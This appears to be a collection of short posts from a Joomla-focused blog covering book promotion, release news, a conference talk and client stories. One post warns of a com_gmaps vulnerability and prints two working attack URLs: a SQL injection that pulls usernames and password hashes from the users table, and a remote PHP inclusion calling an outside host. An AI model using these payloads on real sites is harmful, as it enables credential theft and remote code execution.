For those of you waiting for an e-book copy of Joomla! Cash, Packt has finally released one.
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After a lengthy development period, Joomla 1.5 Stable is now available @ Joomla.org!
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Have you been wanting to convert your business’ static-HTML website into something dynamic and database-driven? You may want to check out my book “Joomla! Cash”. It’s the only Joomla! book on the market that specifically concentrates on meeting the needs of e-commerce and business users.
It’s available from the following fine retailers: Packt Publishing, Amazon, Barnes [...]

Well, my Joomla! presentation at Ohio Linux Fest went off as planned, with some minor technical glitches arising from my unfamiliarity with my fiancee’s laptop. (I’ve never owned a laptop, and plan to avoid owning one as long as I can!)
In total, 141 people attended my presentation. I had a drawing, as planned, to give [...]

I’ll be speaking in Columbus Ohio today at the Ohio Linux Fest. (www.ohiolinux.org)
My speech is entitled “Business Websites Made Easy with Joomla!” and covers both Joomla basics, as well as popular third-party extensions to adapt Joomla to business or individual needs.
You may download a copy of the PowerPoint slideshow here: [link]
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I’ve had a few of these. [link]
Here’s one of my “Client-From-Hell” stories:
My worst client-contractor interaction centered on a client who assured me that they wanted the best of everything at the lowest possible cost, but that quality was the foremost concern.
I responded by connecting Joomla with iDevDirect’s iDevAffiliate software, with VirtueMart for transaction processing. This [...]

5ThirtyOne is running a story today about popular free themes being crammed with malicious and/or spammy code, then being re-released.
This is a problem with the free template scene, and those who would take such major advantage of it. I’ve had so many clients that want “a duplicate of X website” or “just take this free [...]

Just a little heads up here to let folks know that a fairly serious security vulnerability present in the com_gmaps extension, allowing remote SQL injection and php inclusion. Here are two examples of the compromise in action:
index.php?option=com_gmaps&task=viewmap&Itemid=57&mapId=
-1/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*
index.php?option=com_gmaps&task=viewmap&Itemid=73&mapId=1/index.php?option=http://www.crotz.tk/crotz? HTTP/1.1
As you can see, the exploit first exposes the administrator’s password’s md5 hash to the intruders, and [...]

The Joomla team today released version 1.0.13 “Sunglow”, which corrects multiple bugs, as well as several minor security issues.
My favorite bug fix: The “immediate admin logout after login” issue. Good work team!
Meanwhile, I see the project has released an Alpha for 1.5. Things are looking good!
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Let’s make it two straight for Joomla this year! [link]
Packt Publishing recently announced details for their 2007 Open Source Content Management System award, adding categories and widening the level of participation, so that the prize money is distributed across a wider array of projects.
Joomla, of course, was the 2006 winner, so the Joomla community has [...]